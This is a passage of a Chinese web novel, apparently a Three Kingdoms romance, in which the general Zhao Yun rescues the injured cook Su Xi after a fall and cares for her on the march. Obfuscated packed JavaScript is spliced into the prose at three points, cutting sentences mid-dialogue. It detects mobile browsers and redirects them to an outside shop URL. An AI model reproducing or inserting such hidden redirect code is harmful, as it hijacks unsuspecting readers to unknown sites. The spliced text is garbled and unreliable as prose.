“别。”苏兮连忙摇头拒绝,“我如今是厨娘,哪有厨娘坐马车的道理。再说了,将军特意安排我随军,我若坏了规矩,岂不是给他添麻烦?” 南枝眨了眨眼,忽然凑近,笑嘻嘻地问:“这一口一个将军的,是不是想将军了?” 苏兮脸一红,别过头去:“将军自然是要走前头的,我走末尾,见不到是自然。” 南枝笑得眼睛弯弯,小声调侃:“要不要我待会儿回前头跟将军说说?说咱们苏兮想念将军,可否去尾巴上见见她?” 苏兮被她说得耳根一热,伸手就要去捂南枝的嘴。 “我没有!我……我想的陈到将军!不是赵云将军!” 见苏兮慌张的样子,南枝笑眯眯地抬眸看向她后方之人。 “欸,赵将军听见啦?” 苏兮脑子里“嗡”的一声,猛地转过身。 身后空无一人。 南枝已经捂着嘴笑弯了腰。 “你!”苏兮又气又恼,回身道,“不许逗我!” “我错了我错了!”南枝笑着往后躲,一边躲一边说,“不过你这样子,可就承认自己想的是赵云将军咯? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589312|205414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 苏兮被她戳穿,脸更红了,豁出去道:“将军英俊潇洒,又是我恩人,想他理所应当嘛。” 南枝笑意更深了几分,凑过来挽住苏兮的胳膊,带着她转过身去。 “这下,赵将军是真听见啦。二位慢慢聊,我去照顾夫人。” 南枝松了手,笑眯眯地提着裙摆溜了。 苏兮僵在原地,丝毫不敢抬头去看跟前的赵云。视线里只有他的靴尖,和垂在身侧的那柄佩剑。 “苏兮姑娘你——” 苏兮浑身一颤,把脸埋得更低了,恨不得地上有个缝能钻进去。 “将、将军怎么到后头来了……前头不用照看吗?” “陈到在前面。”赵云顿了顿,又补了句,“我来看看你腿伤如何。” “好了,都好了。”苏兮连忙说,“将军还是快回去吧,叫人瞧见不好……” “瞧见什么?” “瞧见你来找我……”苏兮声音越来越小,“我一个小小厨娘……哪能劳烦大将军亲自来看望……” 苏兮等了一会儿,没听见动静,终于忍不住抬起眼皮,飞快地往上瞟了一眼。 赵云正垂眸看着她,神情淡淡的,嘴角却似乎有一丝极浅的弧度。 苏兮心一慌,又迅速低下头去。 “看来伤势已无大碍。”赵云道。 苏兮窃喜垂眸道:“嗯……多亏将军挂念。放心,今日走百里不成问题!” “量力而行,不可逞强。” “听令!” 苏兮右手握拳放在身前,信誓旦旦的样子。赵云浅笑着颔首,翻身上马,策马回了队伍前头。 苏兮站在原地,好一会儿才回过神来。 “一日一见,今日达成!”她小声嘟囔着,捂住发烫的脸。 啊啊啊啊!方才丢死人了! 可嘴角怎么也压不下去。 苏兮深吸一口气,拍了拍脸颊。队伍已经陆陆续续前行,她小跑着赶回末尾,跟上了前行的队伍。 日头越来越高,晒得人后背发烫。苏兮闷头走着,稍稍落后些没注意别的,脑子翻来覆去都是赵云方才淡淡的笑容。 “将军为何那么温柔?神君都这样吗?大概是吧,嘿嘿。” 她正傻笑着,脚下的路忽然一软。 苏兮还没来得及反应,脚下好端端、平坦的山道边缘的泥土轰然塌陷。 还没来得及惊叫,旁边的灌木丛又蹿出一只乌黑的小野猪,哼哧哼哧地横冲过来,不偏不倚撞上苏兮的腰侧,直接将她撞得飞出去老远。 苏兮只觉天旋地转,身体顺着陡坡翻滚而下,碎石、枯枝、泥土劈头盖脸地砸过来。她本能地伸手去抓,却只抓到一把草根,连根拔起,跟着草一起滚。 “啊!是草!” 脸!对,护脸!身子不要紧,若是脸毁了,这辈子可就完了! 苏兮拼命护住脸,碎石刮过手臂,树枝抽打肩背,泥土灌进衣领。 疼,到处都疼。 不知滚了多久,“砰”的一声,后背撞上一棵大树,总算停了下来。 苏兮蜷缩在树根间,浑身发抖,好一会儿才敢慢慢睁开眼。 入目是杂乱的灌木和倾斜的山坡。她仰头往上看,山道已经远得只剩下一条细细的亮线。 完了完了,这下真的完了。 8. 新窗映月 十年前,苏兮六岁。陪兄长上山采野果,不过兄长上树摘果子的功夫,乖乖站树下等的苏兮,被一只野猪冲出来撞伤,差点丢了命。 待兄长在洞坑底找到苏兮时,人四仰八叉地躺在草丛上一动不动。 幸亏草厚,这洞也不深,苏兮的身子没什么大碍。 “苏兮!能听见兄长说话吗?” “兄长……苏兮好痛……” 见苏兮还能说话,兄长松了口气,放下背上的背篓,扶起苏兮抱在怀里安抚。 “没事没事,怪兄长。” “不怪兄长……怪野猪……” 兄长笑了笑,揉揉苏兮的发顶,道:“看来确实没受伤,都能跟兄长说玩笑话了。” 苏兮歪着小嘴嘟囔:“不想让兄长担心嘛……其实可疼了。” “苏兮最乖最懂事了。”兄长蹭了蹭苏兮的小脸道,“要再歇会儿,还是兄长现在背你回家?” “太疼了,想再歇会儿。” “好。” 方才的野猪,撞了苏兮后便不见踪影。晴朗的天,也有有飘来一朵乌云。 “兄长,世上真的有神君吗?”苏兮问。 兄长道:“当然有啊,不然大家天天盼一个不存在的人吗?” “可是……”苏兮忍痛动了动身子,“他为何不来帮我?是苏兮哪里做错了吗?” 兄长抚摸她的头,笑道:“因为神君还在路上呢,赶路也要时间嘛。苏兮再等等,或许哪天,神君就出现了。那时,你可要好好跟着神君呀。” 苏兮乖乖点头:“嗯!我会像赖皮蛇一样黏着他,跟着他!” 兄长大笑:“那可不行啊,神君会生气的。” …… 苏兮渐渐在兄长怀中睡着。兄长看着苏兮的侧脸,悄悄掀开她的衣摆,被野猪撞上的地方淤青一大片。 “这样子,兄长如何丢下你去参军?罢了,还是留在你身边,好好护着你吧。” 兄长的目光暗了几分。 “可倘若哪日兄长不小心离开你该怎么办?” 他仰头望着洞口外的天际。 “神君啊,苏兮自小命不好,可否派位神君到她身边,往后替我好好护着她?至少在她遇到危险时,赶到她身边……” * 十年后。 赵云骑着马与陈到并排而行,忽然背脊发凉,下意识回望。 “有异常?”陈到问。 赵云回神,道:”没,只是突然心慌得厉害。” 不会是后方出什么事了吧。 “我去巡视一圈。” 说罢,赵云调转马头,朝队伍后方疾驰而去,一直赶到队尾。 张望数遍也不见苏兮人影,赵云寻思会不会去了前头,但以苏兮不喜给人添麻烦的性子,和腿伤尚未痊愈,大概不会在前头。 “你一直走在最后?”赵云问。 队尾的士兵道:“是。” “可有见到苏兮姑娘?” “苏姑娘?不曾。” 赵云望着漫漫来路。这一路只有一条道,苏兮如果是因为腿伤走得慢了些,沿着路往回走定能遇上她。 “若有人问起我,说我即刻赶回来。” 赵云独自沿来路往回走。他走得并不快,一边走一边扫视路边,生怕错过哪个沟坎或树荫下蜷着的身影。 走了约莫两里路,仍是未见苏兮。赵云心里那阵慌张已经沉成了说不清的焦灼。 上次还有草鞋和贼人的身份为线索,这下什么也寻不到,怎么找她? 山道不算开阔,此处又是山谷,若放声呼喊,或许能借回音让她听见。 “苏兮姑娘——!” 回音从两侧山壁间荡回来,一声叠着一声,渐渐消隐在远方。 他侧耳等了片刻,只有风吹草叶的细响。 “苏姑娘——是我,赵云!” 又喊了一遍。嗓子几乎扯裂。 这一次,回音还未散尽时,他隐约听见什么,不等辨明,快速奔向那方。 果然,声音是从一处比人高的草丛发出的。赵云立刻翻身下马,拨开草丛。 “苏兮——兔子?” 一只惊恐得不敢动弹的异瞳白兔,正窝在草丛里,一红一黑的眸子瞪圆望着他。 赵云叹息着蹲下身,安抚受惊的兔子。 “可有见到位娇小走路不大平稳的姑娘?” 兔子怔怔望着赵云不语。 赵云轻笑:“知道你也不懂如何回答我……乖乖吃草吧。” 翻身上马,赵云心想,苏兮或许只是去路旁方便,说不定此时已经回到队伍。他赶回队伍,走在末尾的变了人,依旧不见苏兮。 “赵将军去哪儿了?” “找苏兮姑娘。” “啊,苏兮姑娘方才被一只野猪撞下崖底。我问她要不要救她上来,她说没受伤,喘口气儿,待会儿自己跟上来。” “摔下崖?!何时?” “半个时辰前吧。” “人呢?大概什么位置?” 士兵指了指:“就那个山坳,草比人高的那一处。” 赵云想起方才发现白兔子的地方,正是士兵所指的山坳,且草长得极高。 可为何方才自己呼唤,无人应答?莫非她出事了?!流血过多、昏迷不醒、惨遭野兽突袭?!她总说自己没事,但以他的了解,肯定出事了! 思及至此,赵云连忙用更快的速度折返。 * 赵云策马狂奔,山风灌进衣领。 那丛比人还高的草很快出现在视野里,他不等马停稳便翻身跃下。 “苏兮姑娘!” 这一次,没有回音帮他传声。他直接冲进草丛,拨开层层草叶。草根处有压塌的痕迹,以及被连根拔起留下的碎土。 赵云顺着塌痕往下看,草坡边缘有明显的滑落痕迹。他伏下身,朝崖底望去。 “苏兮姑娘!能听见吗?” 静了片刻,一个极细的声音从下方传来: “……赵将军吗?” 一个脑袋摇晃着从暗中探出来,苏兮一见是赵云,兴奋地伸长手臂挥舞,然后—— “啊!” 脚下一滑,苏兮又摔了一跤,狼狈地坐在地上,疼得她哭笑不得。 “不能再摔了,待会儿血若是弄脏了下裙,被将军发现,可就丢脸了……”苏兮小声喃喃。 “别动,等我下来。” 赵云把马拴在近旁的树干上,攀着草根和石块往下滑。 大约滑下五丈,他终于看见了她。 苏兮坐在地上,脸色发白,左腿不自然地弯着,腰侧的衣料被血洇湿了一片。看见赵云,她立马扯出个若无其事的笑来。 “将军怎么找来了?我不是说了,歇一会儿就跟上吗?” 赵云蹲下身,目光扫过她的手臂和腿脚,声音沉下去: “你这不爱麻烦人的性子,得改改。” 苏兮的笑容僵住,随即垂下眼。 “不碍事的……真的。我还能继续跟上队伍的。” 赵云伸手去掀她腰侧的衣料,苏兮慌忙按住。 “这儿没事!再说男女有别,掀开可就是皮肉了……” “生死关头还讲男女有别?”赵云抬眼,目光中有怒意,“松手。” 苏兮咬着唇,慢慢松开了手。 衣料掀开,是一道不深但颇长的擦伤,从腰侧划到肋下。赵云撕下自己内袍的一截衣襟,熟练地替她缠紧。 苏兮疼得倒吸凉气,把脸别到一边。 “腿上呢?”赵云问。 “腿……腿没事。” 赵云看她左腿不自然的蜷曲姿势,伸手去探。指腹刚触到小腿,苏兮便猛地一颤,额上沁出冷汗。 赵云沉声道:“看来走不了路了。” 苏兮急了:“不!我能走!真的不碍事——” “苏兮姑娘。”赵云打断她,“服从军令。你若再逞强一句,我便把你绑在马背上,让你一路这么到汝南。” 苏兮乖乖垂下脑袋,没敢再讲话,但还是忍不住低语: “我不想拖后腿,不要丢下我……” “谁要丢下你?”赵云道,“我可没说,又自己胡思乱想。” 赵云低头去查看苏兮的左腿。旧伤未愈,又添新伤,再折腾下去,这条腿非废了不可。他小心掀开苏兮的裙摆,露出两条纤细的腿。胫骨外侧一片青紫,已经肿起。 “好在只是扭伤,并未伤筋动骨。” 赵云安慰道,试着按住苏兮的脚踝,轻轻转动了一下。苏兮吃痛闷哼,眼泪险些掉下来,到底忍住了。 “有多疼?” “一……一定都不哽。” 赵云抬眼看她,眼里带着无奈。苏兮心虚地偏过头去。 “说话都不利索了,还逞强。忍忍,我帮你把腿固定住,不然没法走。” “嗯……” 苏兮乖乖坐在地上,眼睛随着赵云的手转动。他动作轻柔,苏兮本以为会疼哭,没想到比预想中好受许多,甚至慢慢放松下来。 明明说的未伤筋动骨,结果却要固腿,苏兮更多是在赵云温柔的谎言中安下心的。 “这么深的洞,山道那么远,将军怎么找到我的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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苏兮肉眼可见地庆幸,道:“那放它继续在这儿吧。虽然它迟早会被吃,但至少能活过今日。” “好。” 赵云蹲下身,放下小白兔。小白兔看了眼苏兮,一人一兔挥手和扇动耳朵告别后,才跳着离开。 “将军为何突然不吃了?”苏兮好奇问。 赵云只简单“嗯”了声。 苏兮疑惑:“嗯?” 赵云不再言语,单手架着苏兮,刚迈出一步,又察觉这姿势会弄疼她的腰。 “手臂还有力气吗?我们要爬上去,你环着我的脖颈,挂在我身上。” 苏兮抬臂环上:“这样么。” 两人的身子倏地贴上,呼吸可闻。不知怎的,平日里不敢看对方的两个人,此刻竟目不转睛地盯着彼此。 “将军……” 赵云不禁吞咽,抬起身侧的手,用指腹擦过苏兮的颧骨。 突如其来的触碰似是碰到的苏兮身上的某个机关。眼睛睁大,收紧双臂,踮起脚尖。 神君碰自己了,是不是他在暗示自己要再近点? 苏兮努力往上,脚尖踮到开始抖。奈何身长差的太多,她无论怎么费力也够不着赵云的唇瓣。 “怎么长这么高啊……”苏兮快急死了,环上赵云的手臂拽了拽他,“将军你稍微下来点。” 赵云以为苏兮是想挂的牢固些,依言弯下腰。 苏兮看着近在咫尺的脸,刚要凑上去,又戛然而止。 亲下去,真的好吗?忘了陈到将军的妹妹,是怎么被将军疏离的吗? “苏兮姑娘?” 苏兮埋下头藏起落寞,拖着伤腿一瘸一拐地绕到赵云身后,附在他背上抱紧。 “麻烦将军了。” 听苏兮的话稍显失落,赵云又不禁开始想自己是否又做了让她伤心之事。 在意她?是吧。至于为何会不自觉去在意她的情绪,赵云没明白。好比事到如今,他也没明白,初到邺城那日,明明已经气势汹汹,丢下话离开。为何到了驿站后,坐立难安,又折返回去寻她。 赵云突然想回头去看苏兮,但看不着。暗自觉得,她从身前跑去身后,正是不想他看她的脸。 她方才在做什么,怎的突然变了情绪?她凑上来,而后顿住。凑近时,眼睛看的是自己的……唇? 赵云僵住,不可思议的猜测浮现脑海。 “苏兮……姑娘。” “我抓得很紧,将军不必担心,绝不掉下去。”苏兮开朗道。 没了失落,却没消除赵云的猜测,反而更加确定。 “苏兮姑娘方才,是想亲我吗?” 9. 映月清欢 苏兮浑身一僵,把脸埋进赵云的后背。 “怎会,我深知那么做的后果,怎么还敢?” 哪怕是,怎么敢承认? 赵云寻思,也对,她怎么会想亲自己?不过是凑近来想说话罢了。 “嗯,是我失言了。”赵云道,“抓紧,我们上去。” 他反手托住苏兮的腿弯,让她稳稳伏在背上。 攀爬比下来时费力许多。赵云一手抓着藤蔓,一手护着身后之人,脚下踩实了才敢发力。 翻上崖边,赵云将苏兮轻轻放下,解开缰绳。 “我先抱你上马。” “抱?!” 苏兮惊呼出声,脸一下子红到耳根。 从前都是自己来,今日怎么这般主动?! “我、我自己能上——啊!” 话音未落,赵云已俯身扶住她的腰举起,落座马鞍。干脆利落,没给她半点拒绝的余地。 苏兮晕乎乎的,道:“将军除了喜欢从背后吓我,还喜欢打人措手不及……” 赵云轻笑,随后自己也翻身上来,一手虚扶着她的腰,一手提缰。 “往后靠进我怀里,这样坐得稳些,也不搁着我的手。” “……不要。” 赵云又是一声轻笑:“为何?怪我吓着你了?” 苏兮瞥了眼赵云将触未触的手,道:“将军都不敢碰我,我也不敢。” 赵云闻言沉默。 苏兮没敢回头,如此明目张胆的试探,真亏她不经思考就道出口。 风从山间掠过,吹得苏兮碎发晃动。良久,身后传来叹息,然后一只宽大的手掌落在她腰间。 不是虚扶,是实实在在地揽住了。 苏兮惊愕:他真的覆上来了?! “不是不敢,是怕唐突了你。”赵云语气平静,“往后靠。” “……好。” 苏兮靠进赵云怀里,背后是他胸膛传来的温热。马蹄不疾不徐,风还在吹,吹得她脸颊发热。 她忽然想看看赵云此刻是什么表情。会不会也在脸红?可惜身子转不过去。 犹豫了片刻,苏兮抬起手往后摸索。指尖先碰到了赵云的衣襟,再往上,是僵硬的下颌线。 赵云居然没有躲? 苏兮壮着胆子继续往上,指腹点上他的脸颊。 是烫手的。 苏兮始终没睁眼,就这么用指尖一寸寸描摹,想象他红透的样子。颧骨的弧度、耳廓的边缘、被风吹乱的碎发。 “苏兮姑娘在做什么?” 赵云的声音从头顶落下,低沉,带着点沙哑。 苏兮的手一颤,但没收回。 “担心将军。身子转不过去,只好用手确认。可以吗?” 静了片刻。 赵云没斥她无礼,也没把她的手拿开,握着缰绳目视前方,任由那只手在他脸上继续游走,弄得人痒痒的。 苏兮摸到他的眉心。 “将军皱眉头了?” “嗯,在想事情。” “想什么?想我这小姑娘怎么这般不懂事?” 苏兮一面说着,手指滑到赵云的唇,唇线绷着,不像生气。灵巧的手指想再往另一边唇角试探,却不小心勾了下赵云的下唇,差点试探进去。 “我不是——” 苏兮慌忙缩回手,指腹上还残留着他的湿热。 “不是故意的……” 奈何身后没有回应,赵云甚至把扶着自己的手收了回去。 苏兮愈发紧张。 完了……有前车之鉴,赵将军这会儿肯定快气死了!肯定顾及自己有伤,所以一而再、再而三地忍让。 然而,赵云回答出乎苏兮的意料。 “无妨。手抓住前头坐好,不许再乱动。” 竟然无妨吗。 苏兮应了一声,把手搭在马鞍前缘,再不敢乱动。希望自己的乖巧,能换他的手重新覆上来。 沉默漫长得像这条望不到头的山道,希望逐渐变成失落。苏兮在心里把自己方才的举动翻来覆去地骂了十几遍。 让你手欠。怎么就不管住手呢。 苏兮恨不得把自己埋进马鬃里,忽然感觉身后人动了下,一件外袍从头顶落下,将她整个笼罩在内。 “伤腿无法再走,你跟着我骑马。” 苏兮手指攥住外袍的边缘,把红涨的脸完全藏起来。 “……嗯。” 方才收回的那只手,又重新落回苏兮腰侧。 * 但带着苏兮骑马,走在队伍任何地方都过分引人注目。 赵云略一沉吟,圈着苏兮的腰,带着她翻身下马。 此时,在队尾等候的副将迎上前来。苏兮慌忙转身想退到一旁,却被赵云扶在腰上的手制止。 “副将上我的马,随时巡查队伍。” “是,那将军您?” “我殿后,帮我给主公通报一声。” “是。” 副将领命,一提缰绳朝队伍前头去了。 赵云顺势蹲下身,将苏兮背起。 苏兮连忙撑着他的肩膀想下来:“将军,我可以自己走。这样背着……不合适。” “伤员就安心依赖别人,没人会指责你。” 两人走在最后头,前面的士兵好奇,但不敢回头看。苏兮又藏在赵云的外袍下,心底觉得没人知道赵云背的什么。 “我好像突然明白,为何女子不上战场了。体力不如男子,还总突发状况、身子不便。” “是人受伤都会疼,与男子女子无关。” “可男子不会来……事啊。” “什么事?” “没事。”苏兮捋捋鬓边的发丝,悄悄嘀咕,“但愿今夜驻扎之地有水,好把布巾洗洗。” 行军途中来月事,真挺麻烦的。 方才见赵云来找自己,激动得摔了一跤,那一跤似乎摔出一股强烈热流。也不知布巾还能不能撑到入夜。 * 入夜。 赶了一天的路,队伍在林中一片宽阔之地安营扎寨。众人各司其职,很快填饱肚子后各自安歇。 除刘备与夫人住营帐外,只有陈到等几位将军有营帐过夜,其余人借靠在树下,点着篝火入睡。 赵云自请守夜,将自己的营帐分给伤员。 四周安静下来,南枝被甘夫人叫去服侍,苏兮独自坐在树下,睁开一只眼睛观察。 所有人都歇下,要去溪边正是此刻。 苏兮小心拖着腿到溪边,将换下的布巾放入水中清洗。溪水冰凉刺骨,苏兮咬着牙洗,也没法在水中泡太久。 “手会冻僵的。” “啊!” 身后突然冒出声响,又吓苏兮一跳。回首仰头发现赵云正朝自己走来。 “将军不可再往前!” 赵云顿住:“你不打招呼擅自离营,是要被惩罚的。” “我……我不是故意的……我是来洗……” “洗什么?” “布巾……” “为何不汇报?” “我想着洗了便回去,而且这……不便汇报。” 赵云继续抬脚朝苏兮走。 “军令如山,既然随军,就得守军中的规矩。” “是……” 苏兮攥紧手中的布巾,一直泡在水中不敢拿出来。 赵云走到她身边蹲下,在水中夺走她的布巾。 “等等——” “水凉,我帮你洗。还有你腿,别蹲着。” “万万不可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17589314|205414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !这是——真的不行!” 苏兮说着上手去抢,却被赵云灵活地躲开。 “你在一旁坐着暖暖手,等我一路回去。” 抢不过,苏兮无地自容地捂着脸坐在赵云身侧。 “没想到你流了这么多血。” “嗯……” “伤口还疼?” “不疼……” “留这么多血,应该挺疼的。待会儿我拿药来。” “多谢将军……” 苏兮从掌心后慢慢抬起脸,万般无奈。 原来是被误会成包扎伤口的布巾,也好,若被赵云知道他现在洗的是月事的血,自己会无地自容、羞愧而死的。 溪水潺潺,赵云半蹲在岸边,借着月光搓洗布巾。水流从他指缝间淌过,带走淡淡的血色。 苏兮坐在一旁,把手笼进袖子里,偷偷看他。 月光下,赵云侧脸的轮廓比白天更分明。他洗得很仔细,眉目间没有任何嫌恶或不耐。 “好了。”赵云站起身,将布巾拧干,“先晾着,明日一早该干了。” 他四下看了看,折了根树枝,将布巾搭在上面,插进岸边的泥土里。 “就晒在此处吧,放那边……估计不大合适。”赵云道。 他这话说的……苏兮浑身血液凝固。 “将军知道这是什么?” “布巾上有血。若被人看见,定会以为你受了重伤却隐瞒不报。军中若起疑,反倒麻烦。” 苏兮愣住。 血……对啊,伤口。将军以为这是包扎伤口渗出的血,旁人也会这么以为。 “还是将军考虑得周全。” “走吧。”赵云蹲下身,“背你回去。” * 赵云将她背回树下,扶着她靠坐好,将自己的外袍叠了垫在她腿下。 “夜深露重,别乱走动。有事便唤我。” 苏兮点点头。赵云看了她一眼,转身朝自己守夜的那棵树下走去。 一堆堆篝火如同万重山,苏兮望着那道影子渐渐被黑暗吞没,心底忽然空落落的。 她低下头,看了看自己那条不争气的腿。 怕什么呢?又不是没走过。小时候被野猪撞上,不也瘸了好长一段时间吗。 她咬着唇,撑着树干慢慢站起来,抱着赵云的外袍,一瘸一拐地朝他挪去。 短短几十步,走得她额上沁出一层薄汗。 赵云听见动静,抬起头,火光映在他脸上,神情微怔。 “将军……我可以在将军身旁睡吗?” “为何?”赵云问。 “因为……”苏兮咬了咬唇,“似乎有狼嚎,我有些害怕。” “我们一行人,又有篝火,野狼不敢靠近的。” “嗯……也是。” 苏兮失落地垂下头,刚要转身,忽又回身,直接在赵云身旁坐下。 赵云看着身旁垂着脑袋,用垂发藏起来的姑娘,默默取走苏兮抱在怀中的外袍,抻开盖在她身上。 “待会儿将军若是冷,直接拿去盖,不必在意我。” “嗯。” 苏兮确实因为月事,身子比平常冷。来寻赵云,是想借他的热意安心入睡,不耽误次日赶路。 以及,某个自私、不可告人的理由。 “难得将军没拿礼教劝我回去,还有……没说送我回去的话。”苏兮蜷着双腿,额头靠在膝盖上,缩在他身侧道。 赵云偏过头看她,道:“腿,别这么压着。” 苏兮慢慢将腿放平,绷着的劲儿一卸,身子也跟着软下来,屁股不太舒服,她扭了两下没用,又不好意思再动。 赵云看她难受的样子,半晌低声道: “来月……身子不适,枕着我的腿睡吧。” 10. 清欢若梦 苏兮半晌没动。 “……枕、枕着将军的腿?” “嗯。”赵云目视前方,“你坐着不舒服,腿又伤着,这样能睡得舒坦些。” 苏兮想说“这怎么行”,可身体比嘴诚实。那股从腰眼往下坠的酸痛已经折磨了她大半日,此刻有热源近在咫尺,她几乎能想象靠上去之后骨节慢慢松开的舒服。 “将军不会觉得失礼吗?” “是你枕我,不是我枕你。”赵云顿了一下,玩笑道,“失礼的该是你。” 苏兮没忍住弯了弯嘴角。 “多谢将军,那我就……失礼啦。” 苏兮小心地侧过身子,慢慢将头枕上赵云的大腿。隔着衣料,能感觉到底下的温度和绷紧的肌肉。 他大概也在紧张吧。 苏兮不敢把全部重量放上去,身子绷紧,只虚虚靠着。 赵云的手在她肩头按下,道:“不必考虑我,躺好休息。” 苏兮完全靠上赵云的腿,慢慢放松,蜷缩的膝盖舒展开。赵云的气息裹上来,与后背的味道不同,这里…… 脑海里的画面自顾自地提醒她:此刻自己脑后是什么。 初长成的少女脸一下烧起来,屏住呼吸,不许自己再闻任何味道。 赵云似乎没察觉苏兮的异样,又或者察觉了却并未点破。 他收回按在她肩头的手,自然地搁在自己膝侧,指尖落下来,刚好触到苏兮散落的发尾。 “……好软的发丝。” 人在发出心里话时,常常不经思考。所以赵云话已脱口,才发觉不对。偷偷去看苏兮的脸,人闭着眼睛,没反应,赵云不禁松了口气。 苏兮屏了许久的呼吸,到底没能坚持住。 她悄悄、极轻极慢地吐出一口气,又偷着吸进一小口。赵云的气息几乎无孔不入地钻进身子里,干净又沉稳。她紧闭着眼睛,睫毛却一直在颤。 “睡不着?”赵云的声音从头顶落下来。 苏兮立刻把眼睛闭得更紧,眼睑绷出褶皱,装作没听见。 头顶传来几乎称不上笑的吐息,那只搁在膝侧的手动了。赵云将苏兮侧脸的垂发往后拢,露出她的脖颈与下颌。 苏兮的心脏猛地一跳,差点从嗓子眼蹦出来。 这是……难道要发生什么吗?! “别绷着。”赵云轻柔道,“有伤,我给你擦点药。” “啊……好。” 赵云从怀中摸出一只小瓷瓶,拔开塞子。 “方才只换了腿上的药,漏了后背和腰腹。我不碰不看,自己来。” 赵云将瓷瓶递过去。 苏兮伸手去接,刚碰到瓶身,又缩了回来。 “……够不着。”她小声说。 “够不着?” “伤在腰侧和后背,我自己怎么够?”苏兮把脸往他腿侧埋了埋,“将军方才帮我包扎时不是已经碰过了吗?现在倒说起男女有别来了。” 赵云微微一滞。 “方才你摔下崖,性命要紧,顾不得礼数。那便先上够得着的地方,腰侧明日让南枝帮你。” 苏兮咬住唇,半晌没吭声。而后偏过头,抬起眼睛看赵云。 “将军是在避嫌?” “是。” “可方才将军还让我枕你的腿。” “那是为了让你睡得舒服些。” “那现在我不舒服。”苏兮拧着眉头嘟起小嘴,“后背的伤扯着疼,我够不着,又不让南枝来,将军也不肯——我活该疼着?” 赵云沉默、无奈。 苏兮翻过身,把后背冲向他。 “大家都睡了,没人会晓得。再说……我是伤员,将军允许我可以麻烦人的。” 她掀起衣角露出腰侧缠过布条的伤处,又往上指了指。 “这儿,还有后腰那一块。我自己真的够不到。将军就当……还是在崖下救人,不得已而为之嘛。” 赵云盯着她,半晌没说话。 篝火烧出一声轻响。随之,他将瓷瓶的塞子拔开,淡淡道:“转过去。别乱动。” 苏兮弯了弯唇角,乖乖翻身,把后背朝向赵云。动作牵动了腿伤,疼得她吸了口气,却没吭声。 “衣摆一直掀着。” “好。” 夜里黑,不大看得清,赵云只好俯下身子凑近些看。药膏倒在自己指尖,轻轻按上那片瘀青。 苏兮身子一缩,肩胛骨瞬间绷紧,发出一声闷哼。疼到发抖的手抓紧赵云的小腿。 药膏带着赵云指尖的凉意按上瘀青,苏兮咬着唇,把脸埋进手臂里,又闷闷“嗯”了声。 “很疼?” 苏兮摇摇头,蹭着赵云的腿。 “一点都不疼。” 苏兮没应声,只把脸埋往赵云大腿处得更深。赵云垂下眼,只能看见苏兮的后脑勺和露出来的一小截脖颈,在火光下泛着薄薄的红。 “非要我给你上药,疼也忍着。” 药膏重新倒上指尖,赵云直接按上苏兮后腰那处青紫,用掌根缓缓揉开。 苏兮疼出叫声,从嗓子眼里逼出来的、软下去的声音。整个后背绷成弓,又在他掌心里慢慢塌下去,抓着他小腿的手指收紧又松开。 “疼就——别忍着。”赵云顿了顿,把“松手”两个字咽了回去,“但叫得小声些。” “将军……好痛……” “我知道,再忍忍,使劲儿掐我也无妨。” 赵云继续揉,力道均匀而轻柔,沿着瘀青的边缘一圈一圈地推。 药膏在体温下化开,草药的气味混着篝火的烟气,将两个人笼在一处。 苏兮的呼吸渐渐没那么紧了,肩膀塌下来,只剩抓着他小腿的手还扣在那里,指尖却从掐变成了搭。 “将军,你这样揉……我会睡着的。” “睡吧。” “睡不着。” “为何?” “得陪你。否则你一个人……” 赵云低下头,确认苏兮睡着了。月光落在她脸上,眉心还蹙着,嘴唇没血色,脸也苍白。 他用目光描摹她的轮廓,指尖忍不住勾起苏兮散落的发丝,捏在指尖感受柔软。然后抬起头,望向远处的黑暗。 “你已经在陪我了,安心睡吧。” * 【入梦】 苏兮还靠在赵云大腿上,但转了方向。睁开眼,盯着眼前之物,懵懂的少女竟忘了挪开眼。 好奇的手指凑上去戳了戳,但毫无反应,苏兮又戳了戳。 “你在做什么?” 苏兮浑身僵住,不敢抬头。 她的指尖还抵在那处。硬邦邦的,带着体温,像是揉过头的面团,又像是……她不敢想了,慌忙回收手指。 “我、我做梦呢……以为是什么虫子……” “也不怕是毒虫,碰了灼烧你的手?” 苏兮恨不得把自己整个人埋进土里。她咬着唇,一动不敢动,感觉赵云的气息压下来。他低头了,凑近了些,呼吸拂在她的发顶。 “以下犯上,需按军法处置。” “处置?” 下一瞬,天旋地转。苏兮被赵云拽起身,跌坐在他腿上,整个后背贴上他温热的胸膛。赵云的手掌覆在她眼前,掌心的茧粗粝而滚烫。 “这是梦,纵使你想做什么,也无用。梦醒之后,我与你,依旧无法靠近。” 黑暗吞没了视线,苏兮的眼前只剩下赵云掌心的温度和气息。 “将军你说的不对。” 覆在她眼前的手掌微微一紧。 苏兮又道:“我知道这是梦。也只有梦里,我们才会触碰得那么深……我知道自己为何会做这梦,是情愫在作怪。” 蠢蠢欲动的情愫。怀春的少女动心罢了。 梦醒之后的苏兮不敢对赵云表达心意,因为她知道赵云不会答应。尽管将军对她的确特别,但那是因为将军怀有“完成使命”的心,不是情。 从他唤别人姓名,唤自己始终生分,要带个“姑娘”,便显而易见。 苏兮慢慢抬起手,覆上赵云遮住自己眼睛的那只手,而后握紧。 